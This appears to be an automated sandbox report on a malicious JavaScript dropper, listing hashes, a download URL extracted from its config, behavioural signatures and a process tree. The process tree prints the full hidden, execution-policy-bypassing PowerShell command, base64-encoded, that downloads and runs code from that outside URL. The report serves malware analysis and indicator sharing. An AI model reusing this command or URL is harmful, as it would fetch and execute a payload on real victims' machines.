Analysis
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max time kernel
92s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
26/01/2024, 02:08
Static task
static1
Behavioral task
behavioral1
Sample
761b42ee84f9bd79f10c0a104e919ceb.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
761b42ee84f9bd79f10c0a104e919ceb.js
Resource
win10v2004-20231222-en
General
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Target
761b42ee84f9bd79f10c0a104e919ceb.js
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Size
69KB
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MD5
761b42ee84f9bd79f10c0a104e919ceb
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SHA1
57c23c22907e77517481ff3d4b275efb90326c97
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SHA256
3bddad7a6ad3147434ad0060afab7458b083a0826e3d9d6e204722b1e6d932d5
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SHA512
f9df9a89181725004d042d185232a587c7e0ab7e8779e1ca135d538e5c02d23b96defa101204c00b6727a41363958ee320fa746fa1518cf37372c781539ed3f0
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SSDEEP
1536:k9ZsGIf9G49Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5e:kfsG4G49Ry98guHVBqqg2bcruzUHmLKH
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 7 4712 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4712 powershell.exe 4712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4712 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4516 wrote to memory of 2112 4516 wscript.exe 88 PID 4516 wrote to memory of 2112 4516 wscript.exe 88 PID 2112 wrote to memory of 4712 2112 cmd.exe 90 PID 2112 wrote to memory of 4712 2112 cmd.exe 90
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\761b42ee84f9bd79f10c0a104e919ceb.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4712
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82